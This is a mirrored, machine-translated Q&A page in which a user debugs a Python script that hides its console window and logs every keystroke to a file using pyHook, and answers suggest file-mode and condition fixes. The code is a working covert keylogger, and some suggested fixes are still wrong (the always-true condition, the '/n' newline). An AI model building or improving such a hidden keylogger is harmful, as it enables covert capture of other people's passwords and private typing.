简体   繁体   English

python写入输出文件

[英]python Writing to a output file

I am trying to write the key strokes I make to a new text file. 我试图将我所做的按键写入一个新的文本文件。 I got the following code: 我得到以下代码:

import win32api
import win32console
import win32gui
import pythoncom
import pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        _exit(1)
    if event.Ascii != 0 or 8:
        f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
        buffer = f.read()
        f.close()

        f = open('C:\Users\Joey\Desktop\output.txt', 'w')
        keylogs = chr(event.Ascii)

        if event.Ascii == 13:
            keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

I don't get any errors so I guess that's good. 我没有任何错误,所以我想那很好。 But everytime I check output.txt I see a empty text file. 但是每次我检查output.txt我都会看到一个空文本文件。 What is wrong with my code? 我的代码有什么问题?

Look here for the difference between w and w+ . 在这里查找ww+之间的区别。 You're overwriting the file every time with the second open for write f=open('C:\\Users\\Joey\\Desktop\\output.txt', 'w') 每次第二次打开写入f=open('C:\\Users\\Joey\\Desktop\\output.txt', 'w')您每次都覆盖文件。

I'd imagine your file has just a line break in it. 我以为您的文件中只有一个换行符。 Try opening with just the a option to write to the end of file (EOF) every time. 尝试仅打开a选项,每次都将其写入文件末尾(EOF)。

if event.Ascii != 0 or event.Ascii !=8:
    f=open('C:\Users\Joey\Desktop\output.txt', 'a')
    keylogs=chr(event.Ascii)

    if event.Ascii == 13:
        keylogs='/n'
    buffer += keylogs
    f.write(buffer)
    f.close()

Initially, your if statement always evaluates to true, it should be: 最初,您的if语句始终求值为true,应为:

if event.Ascii != 0 or event.Ascii !=8: 

or, even better: 或者,甚至更好:

if event.Ascii not in [0, 1]: 

Also the file open modes might not be what you want, take a look at the docs for a rundown of these. 另外,文件打开模式可能不是您想要的,请查看文档以获取其中的简要说明。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM